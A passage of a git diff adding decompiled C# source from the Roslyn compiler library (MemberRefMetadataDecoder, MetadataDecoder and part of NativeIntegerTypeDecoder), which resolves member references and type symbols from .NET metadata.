(default(TypeWithAnnotations), madeChanges: false); + } + if (typeSymbol.Equals(item.Type, (TypeCompareKind)0)) + { + return (item, madeChanges: false); + } + return (item.WithType(typeSymbol), madeChanges: true); + } + } + + private bool PeekFlag() + { + if (_index < _dynamicTransformFlags.Length) + { + return _dynamicTransformFlags[_index]; + } + return false; + } + + private bool ConsumeFlag() + { + bool result = PeekFlag(); + _index++; + return result; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/MemberRefMetadataDecoder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/MemberRefMetadataDecoder.cs new file mode 100644 index 0000000..56a47c6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/MemberRefMetadataDecoder.cs @@ -0,0 +1,246 @@ +using System; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal sealed class MemberRefMetadataDecoder : MetadataDecoder +{ + private readonly TypeSymbol _containingType; + + public MemberRefMetadataDecoder(PEModuleSymbol moduleSymbol, TypeSymbol containingType) + : base(moduleSymbol, containingType as PENamedTypeSymbol) + { + _containingType = containingType; + } + + protected override TypeSymbol GetGenericMethodTypeParamSymbol(int position) + { + return IndexedTypeParameterSymbol.GetTypeParameter(position); + } + + protected override TypeSymbol GetGenericTypeParamSymbol(int position) + { + if (_containingType is PENamedTypeSymbol) + { + return base.GetGenericTypeParamSymbol(position); + } + if (_containingType is NamedTypeSymbol namedType) + { + GetGenericTypeParameterSymbol(position, namedType, out var _, out var typeArgument); + if ((object)typeArgument != null) + { + return typeArgument; + } + return new UnsupportedMetadataTypeSymbol(); + } + return new UnsupportedMetadataTypeSymbol(); + } + + private static void GetGenericTypeParameterSymbol(int position, NamedTypeSymbol namedType, out int cumulativeArity, out TypeParameterSymbol typeArgument) + { + cumulativeArity = namedType.Arity; + typeArgument = null; + int num = 0; + NamedTypeSymbol containingType = namedType.ContainingType; + if ((object)containingType != null) + { + GetGenericTypeParameterSymbol(position, containingType, out var cumulativeArity2, out typeArgument); + cumulativeArity += cumulativeArity2; + num = cumulativeArity2; + } + if (num <= position && position < cumulativeArity) + { + typeArgument = namedType.TypeParameters[position - num]; + } + } + + internal Symbol FindMember(EntityHandle memberRefOrMethodDef, bool methodsOnly) + { + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + try + { + string targetMemberName; + BlobHandle blobHandle; + switch (memberRefOrMethodDef.Kind) + { + case HandleKind.MemberReference: + { + MemberReferenceHandle memberReferenceHandle = (MemberReferenceHandle)memberRefOrMethodDef; + targetMemberName = ((MetadataDecoder)this).Module.GetMemberRefNameOrThrow(memberReferenceHandle); + blobHandle = ((MetadataDecoder)this).Module.GetSignatureOrThrow(memberReferenceHandle); + break; + } + case HandleKind.MethodDefinition: + { + MethodDefinitionHandle methodDefinitionHandle = (MethodDefinitionHandle)memberRefOrMethodDef; + targetMemberName = ((MetadataDecoder)this).Module.GetMethodDefNameOrThrow(methodDefinitionHandle); + blobHandle = ((MetadataDecoder)this).Module.GetMethodSignatureOrThrow(methodDefinitionHandle); + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)memberRefOrMethodDef.Kind); + } + SignatureHeader signatureHeader = default(SignatureHeader); + BlobReader blobReader = ((MetadataDecoder)this).DecodeSignatureHeaderOrThrow(blobHandle, ref signatureHeader); + switch (signatureHeader.RawValue & 0xF) + { + case 0: + case 5: + { + int targetMemberTypeParamCount = default(int); + ParamInfo[] targetParamInfo = ((MetadataDecoder)this).DecodeSignatureParametersOrThrow(ref blobReader, signatureHeader, ref targetMemberTypeParamCount, true, false); + return FindMethodBySignature(_containingType, targetMemberName, signatureHeader, targetMemberTypeParamCount, targetParamInfo); + } + case 6: + { + if (methodsOnly) + { + return null; + } + FieldInfo fieldInfo = ((MetadataDecoder)this).DecodeFieldSignature(ref blobReader); + return FindFieldBySignature(_containingType, targetMemberName, in fieldInfo); + } + default: + return null; + } + } + catch (BadImageFormatException) + { + return null; + } + } + + private static FieldSymbol FindFieldBySignature(TypeSymbol targetTypeSymbol, string targetMemberName, in FieldInfo fieldInfo) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = targetTypeSymbol.GetMembers(targetMemberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is FieldSymbol fieldSymbol && (int)fieldSymbol.RefKind > 0 == fieldInfo.IsByRef && CustomModifiersMatch(fieldSymbol.RefCustomModifiers, fieldInfo.RefCustomModifiers)) + { + TypeWithAnnotations typeWithAnnotations2; + TypeWithAnnotations typeWithAnnotations = (typeWithAnnotations2 = fieldSymbol.TypeWithAnnotations); + if (TypeSymbol.Equals(typeWithAnnotations.Type, fieldInfo.Type, (TypeCompareKind)62) && CustomModifiersMatch(typeWithAnnotations2.CustomModifiers, fieldInfo.CustomModifiers)) + { + return fieldSymbol; + } + } + } + return null; + } + + private static MethodSymbol FindMethodBySignature(TypeSymbol targetTypeSymbol, string targetMemberName, SignatureHeader targetMemberSignatureHeader, int targetMemberTypeParamCount, ParamInfo[] targetParamInfo) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = targetTypeSymbol.GetMembers(targetMemberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is MethodSymbol methodSymbol && (byte)methodSymbol.CallingConvention == targetMemberSignatureHeader.RawValue && targetMemberTypeParamCount == methodSymbol.Arity && MethodSymbolMatchesParamInfo(methodSymbol, targetParamInfo)) + { + return methodSymbol; + } + } + return null; + } + + private static bool MethodSymbolMatchesParamInfo(MethodSymbol candidateMethod, ParamInfo[] targetParamInfo) + { + int num = targetParamInfo.Length - 1; + if (candidateMethod.ParameterCount != num) + { + return false; + } + TypeMap candidateMethodTypeMap = new TypeMap(candidateMethod.TypeParameters, IndexedTypeParameterSymbol.Take(candidateMethod.Arity), allowAlpha: true); + if (!ReturnTypesMatch(candidateMethod, candidateMethodTypeMap, ref targetParamInfo[0])) + { + return false; + } + for (int i = 0; i < num; i++) + { + if (!ParametersMatch(candidateMethod.Parameters[i], candidateMethodTypeMap, ref targetParamInfo[i + 1])) + { + return false; + } + } + return true; + } + + private static bool ParametersMatch(ParameterSymbol candidateParam, TypeMap candidateMethodTypeMap, ref ParamInfo targetParam) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)candidateParam.RefKind > 0 != targetParam.IsByRef) + { + return false; + } + TypeWithAnnotations typeWithAnnotations = candidateParam.TypeWithAnnotations.SubstituteType(candidateMethodTypeMap); + if (!TypeSymbol.Equals(typeWithAnnotations.Type, targetParam.Type, (TypeCompareKind)62)) + { + return false; + } + if (!CustomModifiersMatch(typeWithAnnotations.CustomModifiers, targetParam.CustomModifiers) || !CustomModifiersMatch(candidateMethodTypeMap.SubstituteCustomModifiers(candidateParam.RefCustomModifiers), targetParam.RefCustomModifiers)) + { + return false; + } + return true; + } + + private static bool ReturnTypesMatch(MethodSymbol candidateMethod, TypeMap candidateMethodTypeMap, ref ParamInfo targetReturnParam) + { + if (candidateMethod.ReturnsByRef != targetReturnParam.IsByRef) + { + return false; + } + TypeWithAnnotations returnTypeWithAnnotations = candidateMethod.ReturnTypeWithAnnotations; + TypeSymbol type = targetReturnParam.Type; + TypeWithAnnotations typeWithAnnotations = returnTypeWithAnnotations.SubstituteType(candidateMethodTypeMap); + if (!TypeSymbol.Equals(typeWithAnnotations.Type, type, (TypeCompareKind)62)) + { + return false; + } + if (!CustomModifiersMatch(typeWithAnnotations.CustomModifiers, targetReturnParam.CustomModifiers) || !CustomModifiersMatch(candidateMethodTypeMap.SubstituteCustomModifiers(candidateMethod.RefCustomModifiers), targetReturnParam.RefCustomModifiers)) + { + return false; + } + return true; + } + + private static bool CustomModifiersMatch(ImmutableArray candidateCustomModifiers, ImmutableArray> targetCustomModifiers) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + if (targetCustomModifiers.IsDefault || targetCustomModifiers.IsEmpty) + { + if (!candidateCustomModifiers.IsDefault) + { + return candidateCustomModifiers.IsEmpty; + } + return true; + } + if (candidateCustomModifiers.IsDefault) + { + return false; + } + int length = candidateCustomModifiers.Length; + if (targetCustomModifiers.Length != length) + { + return false; + } + for (int i = 0; i < length; i++) + { + ModifierInfo val = targetCustomModifiers[i]; + CustomModifier val2 = candidateCustomModifiers[i]; + if (val.IsOptional != val2.IsOptional || !object.Equals(val.Modifier, ((CSharpCustomModifier)(object)val2).ModifierSymbol)) + { + return false; + } + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/MetadataDecoder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/MetadataDecoder.cs new file mode 100644 index 0000000..9050767 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/MetadataDecoder.cs @@ -0,0 +1,465 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis.ErrorReporting; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal class MetadataDecoder : MetadataDecoder +{ + private readonly PENamedTypeSymbol _typeContextOpt; + + private readonly PEMethodSymbol _methodContextOpt; + + internal PEModuleSymbol ModuleSymbol => ((TypeNameDecoder)(object)this).moduleSymbol; + + public MetadataDecoder(PEModuleSymbol moduleSymbol, PENamedTypeSymbol context) + : this(moduleSymbol, context, null) + { + } + + public MetadataDecoder(PEModuleSymbol moduleSymbol, PEMethodSymbol context) + : this(moduleSymbol, (PENamedTypeSymbol)context.ContainingType, context) + { + } + + public MetadataDecoder(PEModuleSymbol moduleSymbol) + : this(moduleSymbol, null, null) + { + } + + private MetadataDecoder(PEModuleSymbol moduleSymbol, PENamedTypeSymbol typeContextOpt, PEMethodSymbol methodContextOpt) + : base(moduleSymbol.Module, (moduleSymbol.ContainingAssembly is PEAssemblySymbol) ? moduleSymbol.ContainingAssembly.Identity : null, (SymbolFactory)SymbolFactory.Instance, moduleSymbol) + { + _typeContextOpt = typeContextOpt; + _methodContextOpt = methodContextOpt; + } + + protected override TypeSymbol GetGenericMethodTypeParamSymbol(int position) + { + if ((object)_methodContextOpt == null) + { + return new UnsupportedMetadataTypeSymbol(); + } + ImmutableArray typeParameters = _methodContextOpt.TypeParameters; + if (typeParameters.Length <= position) + { + return new UnsupportedMetadataTypeSymbol(); + } + return typeParameters[position]; + } + + protected override TypeSymbol GetGenericTypeParamSymbol(int position) + { + PENamedTypeSymbol pENamedTypeSymbol = _typeContextOpt; + while ((object)pENamedTypeSymbol != null && pENamedTypeSymbol.MetadataArity - pENamedTypeSymbol.Arity > position) + { + pENamedTypeSymbol = pENamedTypeSymbol.ContainingSymbol as PENamedTypeSymbol; + } + if ((object)pENamedTypeSymbol == null || pENamedTypeSymbol.MetadataArity <= position) + { + return new UnsupportedMetadataTypeSymbol(); + } + position -= pENamedTypeSymbol.MetadataArity - pENamedTypeSymbol.Arity; + return pENamedTypeSymbol.TypeParameters[position]; + } + + protected override ConcurrentDictionary GetTypeHandleToTypeMap() + { + return ((TypeNameDecoder)(object)this).moduleSymbol.TypeHandleToTypeMap; + } + + protected override ConcurrentDictionary GetTypeRefHandleToTypeMap() + { + return ((TypeNameDecoder)(object)this).moduleSymbol.TypeRefHandleToTypeMap; + } + + protected override TypeSymbol LookupNestedTypeDefSymbol(TypeSymbol container, ref MetadataTypeName emittedName) + { + return container.LookupMetadataType(ref emittedName) ?? new MissingMetadataTypeSymbol.Nested((NamedTypeSymbol)container, ref emittedName); + } + + protected override TypeSymbol LookupTopLevelTypeDefSymbol(int referencedAssemblyIndex, ref MetadataTypeName emittedName) + { + AssemblySymbol referencedAssemblySymbol = ((TypeNameDecoder)(object)this).moduleSymbol.GetReferencedAssemblySymbol(referencedAssemblyIndex); + if ((object)referencedAssemblySymbol == null) + { + return new UnsupportedMetadataTypeSymbol(); + } + try + { + return referencedAssemblySymbol.LookupDeclaredOrForwardedTopLevelMetadataType(ref emittedName, null); + } + catch (Exception ex) when (FatalError.ReportAndPropagate(ex, (ErrorSeverity)0)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/MetadataDecoder.cs", 148); + } + } + + protected override TypeSymbol LookupTopLevelTypeDefSymbol(string moduleName, ref MetadataTypeName emittedName, out bool isNoPiaLocalType) + { + ImmutableArray.Enumerator enumerator = ((TypeNameDecoder)(object)this).moduleSymbol.ContainingAssembly.Modules.GetEnumerator(); + while (enumerator.MoveNext()) + { + ModuleSymbol current = enumerator.Current; + if (string.Equals(current.Name, moduleName, StringComparison.OrdinalIgnoreCase)) + { + if ((object)current == ((TypeNameDecoder)(object)this).moduleSymbol) + { + return ((TypeNameDecoder)(object)this).moduleSymbol.LookupTopLevelMetadataTypeWithNoPiaLocalTypeUnification(ref emittedName, out isNoPiaLocalType); + } + isNoPiaLocalType = false; + return current.LookupTopLevelMetadataType(ref emittedName) ?? new MissingMetadataTypeSymbol.TopLevel(current, ref emittedName); + } + } + isNoPiaLocalType = false; + return new MissingMetadataTypeSymbol.TopLevel(new MissingModuleSymbolWithName(((TypeNameDecoder)(object)this).moduleSymbol.ContainingAssembly, moduleName), ref emittedName, (SpecialType)0); + } + + protected override TypeSymbol LookupTopLevelTypeDefSymbol(ref MetadataTypeName emittedName, out bool isNoPiaLocalType) + { + return ((TypeNameDecoder)(object)this).moduleSymbol.LookupTopLevelMetadataTypeWithNoPiaLocalTypeUnification(ref emittedName, out isNoPiaLocalType); + } + + protected override int GetIndexOfReferencedAssembly(AssemblyIdentity identity) + { + ImmutableArray referencedAssemblies = ((TypeNameDecoder)(object)this).moduleSymbol.GetReferencedAssemblies(); + for (int i = 0; i < referencedAssemblies.Length; i++) + { + if (identity.Equals(referencedAssemblies[i])) + { + return i; + } + } + return -1; + } + + public static bool IsOrClosedOverATypeFromAssemblies(TypeSymbol symbol, ImmutableArray assemblies) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Expected I4, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if ((int)kind <= 11) + { + switch (kind - 1) + { + default: + if ((int)kind != 11) + { + break; + } + goto case 3; + case 0: + return IsOrClosedOverATypeFromAssemblies(((ArrayTypeSymbol)symbol).ElementType, assemblies); + case 2: + return false; + case 3: + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)symbol; + AssemblySymbol containingAssembly = symbol.OriginalDefinition.ContainingAssembly; + if ((object)containingAssembly != null) + { + for (int i = 0; i < assemblies.Length; i++) + { + if ((object)containingAssembly == assemblies[i]) + { + return true; + } + } + } + do + { + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + int length = typeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length; + for (int i = 0; i < length; i++) + { + if (IsOrClosedOverATypeFromAssemblies(typeArgumentsWithAnnotationsNoUseSiteDiagnostics[i].Type, assemblies)) + { + return true; + } + } + namedTypeSymbol = namedTypeSymbol.ContainingType; + } + while ((object)namedTypeSymbol != null); + return false; + } + case 1: + break; + } + } + else + { + if ((int)kind == 14) + { + return IsOrClosedOverATypeFromAssemblies(((PointerTypeSymbol)symbol).PointedAtType, assemblies); + } + if ((int)kind == 17) + { + return false; + } + } + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + + protected override TypeSymbol SubstituteNoPiaLocalType(TypeDefinitionHandle typeDef, ref MetadataTypeName name, string interfaceGuid, string scope, string identifier) + { + TypeSymbol value; + try + { + bool flag = base.Module.IsInterfaceOrThrow(typeDef); + TypeSymbol baseType = null; + if (!flag) + { + EntityHandle baseTypeOfTypeOrThrow = base.Module.GetBaseTypeOfTypeOrThrow(typeDef); + if (!baseTypeOfTypeOrThrow.IsNil) + { + baseType = base.GetTypeOfToken(baseTypeOfTypeOrThrow); + } + } + value = SubstituteNoPiaLocalType(ref name, flag, baseType, interfaceGuid, scope, identifier, ((TypeNameDecoder)(object)this).moduleSymbol.ContainingAssembly); + } + catch (BadImageFormatException ex) + { + value = ((TypeNameDecoder)(object)this).GetUnsupportedMetadataTypeSymbol(ex); + } + return ((MetadataDecoder)this).GetTypeHandleToTypeMap().GetOrAdd(typeDef, value); + } + + internal static NamedTypeSymbol SubstituteNoPiaLocalType(ref MetadataTypeName name, bool isInterface, TypeSymbol baseType, string? interfaceGuid, string? scope, string? identifier, AssemblySymbol referringAssembly) + { + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Invalid comparison between Unknown and I4 + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Expected I4, but got Unknown + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Invalid comparison between Unknown and I4 + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_0110: Invalid comparison between Unknown and I4 + NamedTypeSymbol namedTypeSymbol = null; + Guid result = default(Guid); + bool flag = false; + Guid result2 = default(Guid); + bool flag2 = false; + if (isInterface && interfaceGuid != null) + { + flag = Guid.TryParse(interfaceGuid, out result); + if (flag) + { + scope = null; + identifier = null; + } + } + if (scope != null) + { + flag2 = Guid.TryParse(scope, out result2); + } + ImmutableArray.Enumerator enumerator = referringAssembly.GetNoPiaResolutionAssemblies().GetEnumerator(); + while (enumerator.MoveNext()) + { + AssemblySymbol current = enumerator.Current; + if ((object)current == referringAssembly) + { + continue; + } + NamedTypeSymbol namedTypeSymbol2 = current.LookupDeclaredTopLevelMetadataType(ref name); + if ((object)namedTypeSymbol2 == null || (int)namedTypeSymbol2.DeclaredAccessibility != 6) + { + continue; + } + bool flag3 = false; + Guid result3 = default(Guid); + TypeKind typeKind = namedTypeSymbol2.TypeKind; + string guidString; + switch (typeKind - 3) + { + default: + if ((int)typeKind != 10) + { + continue; + } + goto case 0; + case 4: + if (!isInterface) + { + continue; + } + if (namedTypeSymbol2.GetGuidString(out guidString) && guidString != null) + { + flag3 = Guid.TryParse(guidString, out result3); + } + break; + case 0: + case 2: + { + if (isInterface) + { + continue; + } + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = namedTypeSymbol2.BaseTypeNoUseSiteDiagnostics; + SpecialType val = (SpecialType)(((object)baseTypeNoUseSiteDiagnostics != null) ? ((int)baseTypeNoUseSiteDiagnostics.SpecialType) : 0); + if ((int)val == 0 || (int)val != (((object)baseType != null) ? ((int)baseType.SpecialType) : 0)) + { + continue; + } + break; + } + case 1: + case 3: + continue; + } + if (flag || flag3) + { + if (!flag || !flag3 || result3 != result) + { + continue; + } + } + else + { + if (!flag2 || identifier == null || !identifier.Equals(((MetadataTypeName)(ref name)).FullName)) + { + continue; + } + flag3 = false; + if (current.GetGuidString(out guidString) && guidString != null) + { + flag3 = Guid.TryParse(guidString, out result3); + } + if (!flag3 || result2 != result3) + { + continue; + } + } + if ((object)namedTypeSymbol != null) + { + namedTypeSymbol = new NoPiaAmbiguousCanonicalTypeSymbol(referringAssembly, namedTypeSymbol, namedTypeSymbol2); + break; + } + namedTypeSymbol = namedTypeSymbol2; + } + if ((object)namedTypeSymbol == null) + { + namedTypeSymbol = new NoPiaMissingCanonicalTypeSymbol(referringAssembly, ((MetadataTypeName)(ref name)).FullName, interfaceGuid, scope, identifier); + } + return namedTypeSymbol; + } + + protected override MethodSymbol FindMethodSymbolInType(TypeSymbol typeSymbol, MethodDefinitionHandle targetMethodDef) + { + if (typeSymbol is PENamedTypeSymbol pENamedTypeSymbol && (object)pENamedTypeSymbol.ContainingPEModule == ((TypeNameDecoder)(object)this).moduleSymbol) + { + ImmutableArray.Enumerator enumerator = typeSymbol.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is PEMethodSymbol pEMethodSymbol && pEMethodSymbol.Handle == targetMethodDef) + { + return pEMethodSymbol; + } + } + } + else if (!(typeSymbol is ErrorTypeSymbol)) + { + return (MethodSymbol)new MemberRefMetadataDecoder(((TypeNameDecoder)(object)this).moduleSymbol, typeSymbol).FindMember(targetMethodDef, methodsOnly: true); + } + return null; + } + + protected override FieldSymbol FindFieldSymbolInType(TypeSymbol typeSymbol, FieldDefinitionHandle fieldDef) + { + ImmutableArray.Enumerator enumerator = typeSymbol.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is PEFieldSymbol pEFieldSymbol && pEFieldSymbol.Handle == fieldDef) + { + return pEFieldSymbol; + } + } + return null; + } + + internal override Symbol GetSymbolForMemberRef(MemberReferenceHandle memberRef, TypeSymbol scope = null, bool methodsOnly = false) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol typeSymbol = base.GetMemberRefTypeSymbol(memberRef); + if ((object)typeSymbol == null) + { + return null; + } + if ((object)scope != null) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + if (!TypeSymbol.Equals(scope, typeSymbol, (TypeCompareKind)0) && !(typeSymbol.IsInterfaceType() ? (scope.AllInterfacesNoUseSiteDiagnostics.IndexOf((NamedTypeSymbol)typeSymbol, 0, SymbolEqualityComparer.CLRSignature) != -1) : scope.IsDerivedFrom(typeSymbol, (TypeCompareKind)62, ref useSiteInfo))) + { + return null; + } + } + if (!typeSymbol.IsTupleType) + { + typeSymbol = TupleTypeDecoder.DecodeTupleTypesIfApplicable(typeSymbol, default(ImmutableArray)); + } + Symbol symbol = new MemberRefMetadataDecoder(((TypeNameDecoder)(object)this).moduleSymbol, typeSymbol.OriginalDefinition).FindMember(memberRef, methodsOnly); + if ((object)symbol != null && !typeSymbol.IsDefinition) + { + return symbol.SymbolAsMember((NamedTypeSymbol)typeSymbol); + } + return symbol; + } + + protected override void EnqueueTypeSymbolInterfacesAndBaseTypes(Queue typeDefsToSearch, Queue typeSymbolsToSearch, TypeSymbol typeSymbol) + { + ImmutableArray.Enumerator enumerator = typeSymbol.InterfacesNoUseSiteDiagnostics().GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + ((MetadataDecoder)this).EnqueueTypeSymbol(typeDefsToSearch, typeSymbolsToSearch, (TypeSymbol)current); + } + ((MetadataDecoder)this).EnqueueTypeSymbol(typeDefsToSearch, typeSymbolsToSearch, (TypeSymbol)typeSymbol.BaseTypeNoUseSiteDiagnostics); + } + + protected override void EnqueueTypeSymbol(Queue typeDefsToSearch, Queue typeSymbolsToSearch, TypeSymbol typeSymbol) + { + if ((object)typeSymbol != null) + { + if (typeSymbol is PENamedTypeSymbol pENamedTypeSymbol && (object)pENamedTypeSymbol.ContainingPEModule == ((TypeNameDecoder)(object)this).moduleSymbol) + { + typeDefsToSearch.Enqueue(pENamedTypeSymbol.Handle); + } + else + { + typeSymbolsToSearch.Enqueue(typeSymbol); + } + } + } + + protected override MethodDefinitionHandle GetMethodHandle(MethodSymbol method) + { + if (method is PEMethodSymbol pEMethodSymbol && (object)pEMethodSymbol.ContainingModule == ((TypeNameDecoder)(object)this).moduleSymbol) + { + return pEMethodSymbol.Handle; + } + return default(MethodDefinitionHandle); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/NativeIntegerTypeDecoder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/NativeIntegerTypeDecoder.cs new file mode 100644 index 0000000..a227207 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/NativeIntegerTypeDecoder.cs @@ -0,0 +1,227 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal struct NativeIntegerTypeDecoder +{ + private readonly ImmutableArray _transformFlags; + + private int _index; + + private bool _hitErrorType; + + internal static TypeSymbol TransformType(TypeSymbol type, EntityHandle handle, PEModuleSymbol containingModule, TypeSymbol? containingType) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + if ((object)containingType == null || (int)containingType.SpecialType != 44) + { + AssemblySymbol containingAssembly = type.ContainingAssembly; + if ((object)containingAssembly == null || !containingAssembly.RuntimeSupportsNumericIntPtr) + { + ImmutableArray transformFlags = default(ImmutableArray); + if (!containingModule.Module.HasNativeIntegerAttribute(handle, ref transformFlags)) + { + return type; + } + return TransformType(type, transformFlags); + } + } + return type; + } + + internal static TypeSymbol TransformType(TypeSymbol type, ImmutableArray transformFlags) + { + NativeIntegerTypeDecoder nativeIntegerTypeDecoder = new NativeIntegerTypeDecoder(transformFlags); + try + { + TypeSymbol result = nativeIntegerTypeDecoder.TransformType(type); + if (nativeIntegerTypeDecoder._hitErrorType) + { + return type; + } + if (nativeIntegerTypeDecoder._index == transformFlags.Length) + { + return result; + } + return new UnsupportedMetadataTypeSymbol(); + } + catch (UnsupportedSignatureContent) + { + return new UnsupportedMetadataTypeSymbol(); + } + } + + private NativeIntegerTypeDecoder(ImmutableArray transformFlags) + { + _transformFlags = transformFlags; + _index = 0; + _hitErrorType = false; + } + + private TypeWithAnnotations? TransformTypeWithAnnotations(TypeWithAnnotations type) + { + TypeSymbol typeSymbol = TransformType(type.Type); + if ((object)typeSymbol != null) + { + return type.WithTypeAndModifiers(typeSymbol, type.CustomModifiers); + } + return null; + } + + private TypeSymbol? TransformType(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected I4, but got Unknown + TypeKind typeKind = type.TypeKind; + switch (typeKind - 1) + { + case 0: + return TransformArrayType((ArrayTypeSymbol)type); + case 8: + return TransformPointerType((PointerTypeSymbol)type); + case 12: + return TransformFunctionPointerType((FunctionPointerTypeSymbol)type); + case 3: + case 10: + return type; + case 1: + case 2: + case 4: + case 6: + case 9: + return TransformNamedType((NamedTypeSymbol)type); + default: + _hitErrorType = true; + return null; + } + } + + private NamedTypeSymbol? TransformNamedType(NamedTypeSymbol type) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + if (!type.IsGenericType) + { + SpecialType specialType = type.SpecialType; + if (specialType - 21 <= 1) + { + if (_index >= _transformFlags.Length) + { + throw new UnsupportedSignatureContent(); + } + bool num = _transformFlags[_index++]; + bool isNativeIntegerWrapperType = type.IsNativeIntegerWrapperType; + if (!num) + { + if (isNativeIntegerWrapperType) + { + return type.NativeIntegerUnderlyingType; + } + } + else if (!isNativeIntegerWrapperType) + { + return type.AsNativeInteger(); + } + return type; + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + type.GetAllTypeArgumentsNoUseSiteDiagnostics(instance); + bool flag = false; + for (int i = 0; i < instance.Count; i++) + { + TypeWithAnnotations type2 = instance[i]; + TypeWithAnnotations? typeWithAnnotations = TransformTypeWithAnnotations(type2); + if (typeWithAnnotations.HasValue) + { + TypeWithAnnotations valueOrDefault = typeWithAnnotations.GetValueOrDefault(); + if (!type2.IsSameAs(valueOrDefault)) + { + instance[i] = valueOrDefault; + flag = true; + } + continue; + } + return null; + } + NamedTypeSymbol result = (flag ? type.WithTypeArguments(instance.ToImmutable()) : type); + instance.Free(); + return result; + } + + private 